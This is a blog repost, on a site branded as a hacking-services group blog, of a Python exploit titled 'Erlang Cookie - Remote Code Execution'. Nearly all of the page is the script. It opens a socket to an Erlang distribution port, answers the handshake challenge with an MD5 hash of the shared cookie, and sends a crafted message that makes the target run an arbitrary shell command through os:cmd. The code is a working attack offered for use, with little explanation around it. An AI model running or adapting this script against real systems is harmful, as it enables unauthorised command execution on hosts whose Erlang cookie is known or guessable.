Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86373201

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Erlang Cookie - Remote Code Execution
# Date: 2020-05-04
# Exploit Author: 1F98D
# Original Author: Milton Valencia (wetw0rk)
# Software Link: https://www.erlang.org/
# Version: N/A
# Tested on: Debian 9.11 (x64)
# References:
# https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/
#
# Erlang allows distributed Erlang instances to connect and remotely execute commands.
# Nodes are permitted to connect to eachother if they share an authentication cookie,
# this cookie is commonly called ".erlang.cookie"
# 
#!/usr/local/bin/python3

import socket
from hashlib import md5
import struct
import sys

TARGET = "192.168.1.1"
PORT = 25672
COOKIE = "XXXXXXXXXXXXXXXXXXXX"
CMD = "whoami"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))

name_msg  = b"\x00"
name_msg += b"\x15"
name_msg += b"n"
name_msg += b"\x00\x07"
name_msg += b"\x00\x03\x49\x9c"
name_msg += b"AAAAAA@AAAAAAA"

s.send(name_msg)
s.recv(5)                    # Receive "ok" message
challenge = s.recv(1024)     # Receive "challenge" message
challenge = struct.unpack(">I", challenge[9:13])[0]

print("Extracted challenge: {}".format(challenge))

challenge_reply  = b"\x00\x15"
challenge_reply += b"r"
challenge_reply += b"\x01\x02\x03\x04"
challenge_reply += md5(bytes(COOKIE, "ascii") + bytes(str(challenge), "ascii")).digest()

s.send(challenge_reply)
challenge_res = s.recv(1024)
if len(challenge_res) == 0:
    print("Authentication failed, exiting")
    sys.exit(1)

print("Authentication successful")

ctrl = b"\x83h\x04a\x06gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00w\x00w\x03rex"
msg  = b'\x83h\x02gw\x0eAAAAAA@AAAAAAA\x00\x00\x00\x03\x00\x00\x00\x00\x00h\x05w\x04callw\x02osw\x03cmdl\x00\x00\x00\x01k'
msg += struct.pack(">H", len(CMD))
msg += bytes(CMD, 'ascii')
msg += b'jw\x04user'

payload = b'\x70' + ctrl + msg
payload = struct.pack('!I', len(payload)) + payload
print("Sending cmd: '{}'".format(CMD))
s.send(payload)
print(s.recv(1024))